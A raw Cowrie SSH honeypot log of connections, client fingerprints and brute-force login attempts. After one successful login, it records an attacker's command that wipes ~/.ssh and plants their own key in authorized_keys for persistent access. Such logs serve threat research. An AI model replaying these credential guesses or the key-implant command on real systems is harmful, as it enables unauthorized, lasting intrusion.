{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:50.623439Z","src_ip":"103.228.69.212","session":"84a76c586149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60244,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3e2478c953b","protocol":"ssh","message":"New connection: 159.203.92.129:60244 (159.203.135.109:22) [session: b3e2478c953b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:50.646159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:50.650705Z","src_ip":"159.203.92.129","session":"b3e2478c953b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:50.654840Z","src_ip":"159.203.92.129","session":"b3e2478c953b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AI","password":"AI","message":"login attempt [AI/AI] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:50.666409Z","src_ip":"159.203.92.129","session":"b3e2478c953b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"sftp123","message":"login attempt [sftp/sftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:51.574040Z","src_ip":"103.228.69.212","session":"84a76c586149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:51.678114Z","src_ip":"159.203.92.129","session":"b3e2478c953b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:52.809706Z","src_ip":"103.228.69.212","session":"84a76c586149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41184,"dst_ip":"159.203.135.109","dst_port":22,"session":"563d81b0f90f","protocol":"ssh","message":"New connection: 159.203.92.129:41184 (159.203.135.109:22) [session: 563d81b0f90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:34.880967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:34.885978Z","src_ip":"159.203.92.129","session":"563d81b0f90f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:34.890285Z","src_ip":"159.203.92.129","session":"563d81b0f90f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AI","password":"AI123","message":"login attempt [AI/AI123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:34.904260Z","src_ip":"159.203.92.129","session":"563d81b0f90f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:35.916353Z","src_ip":"159.203.92.129","session":"563d81b0f90f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":43350,"dst_ip":"159.203.135.109","dst_port":22,"session":"7513f31d8b36","protocol":"ssh","message":"New connection: 103.228.69.212:43350 (159.203.135.109:22) [session: 7513f31d8b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:48.954728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:48.958262Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:49.190132Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Oracle2024","message":"login attempt [oracle/Oracle2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:50.146219Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:50.657379Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:50.660974Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:50.665286Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:50.901867Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:51.398380Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:51.401380Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:51.636050Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:51.639662Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":44274,"dst_ip":"159.203.135.109","dst_port":22,"session":"45e5f6ad457b","protocol":"ssh","message":"New connection: 103.228.69.212:44274 (159.203.135.109:22) [session: 45e5f6ad457b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:51.860732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:51.866056Z","src_ip":"103.228.69.212","session":"45e5f6ad457b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:52.099360Z","src_ip":"103.228.69.212","session":"45e5f6ad457b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:53.065699Z","src_ip":"103.228.69.212","session":"45e5f6ad457b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:54.302131Z","src_ip":"103.228.69.212","session":"45e5f6ad457b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":45078,"dst_ip":"159.203.135.109","dst_port":22,"session":"31ce31f3f343","protocol":"ssh","message":"New connection: 103.228.69.212:45078 (159.203.135.109:22) [session: 31ce31f3f343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:54.531724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:54.536393Z","src_ip":"103.228.69.212","session":"31ce31f3f343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:54.767844Z","src_ip":"103.228.69.212","session":"31ce31f3f343","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:55.716421Z","src_ip":"103.228.69.212","session":"31ce31f3f343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:55.951713Z","src_ip":"103.228.69.212","session":"31ce31f3f343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:19:55.955995Z","src_ip":"103.228.69.212","session":"7513f31d8b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60406,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b7b2b11b829","protocol":"ssh","message":"New connection: 159.203.92.129:60406 (159.203.135.109:22) [session: 7b7b2b11b829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:20.007333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:20.014635Z","src_ip":"159.203.92.129","session":"7b7b2b11b829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@opens